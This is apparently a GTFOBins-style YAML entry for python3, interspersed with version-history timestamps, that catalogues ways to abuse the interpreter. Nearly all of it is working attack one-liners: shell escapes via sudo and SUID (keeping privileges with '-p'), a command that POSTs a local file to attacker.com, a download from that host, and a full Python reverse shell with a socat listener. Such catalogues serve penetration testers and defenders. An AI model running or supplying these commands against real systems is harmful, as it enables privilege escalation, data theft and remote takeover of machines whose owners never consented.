2018-05-21 21:14:41 +02:00
---
functions:
exec-interactive:
- code: python3 -c 'import os; os.system("/bin/sh")'
sudo-enabled:
- code: sudo python3 -c 'import os; os.system("/bin/sh")'
suid-enabled:
- code: ./python3 -c 'import os; os.system("/bin/sh -p")'
upload:
2018-05-24 22:05:07 +02:00
- description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.
2018-05-21 21:14:41 +02:00
code: |
2018-05-24 21:59:21 +02:00
export URL=http://attacker.com/
2018-05-21 21:14:41 +02:00
export LFILE=file_to_send
python3 -c 'import urllib.request as r,urllib.parse as u;from os import environ as e; r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))'
- description: Serve files in the local folder running an HTTP server.
code: |
LPORT=8888
python3 -m http.server $LPORT
download:
- description: Fetch a remote file via HTTP GET request.
code: |
2018-05-24 21:59:21 +02:00
export URL=http://attacker.com/file_to_get
export LFILE=where_to_save
2018-05-21 21:14:41 +02:00
python3 -c 'import urllib.request as u;from os import environ as e; u.urlretrieve (e["URL"], e["LFILE"])'
reverse-shell:
2018-05-24 22:05:07 +02:00
- description: Run < code > socat file:`tty`,raw,echo=0 tcp-listen:12345</ code > on the attacker box to receive the shell.
2018-05-22 22:18:06 +02:00
code: |
2018-05-24 21:59:21 +02:00
export RHOST=attacker.com
2018-05-23 09:08:13 +02:00
export RPORT=12345
2018-05-21 21:14:41 +02:00
python3 -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")'
load-library:
- code: python3 -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'
---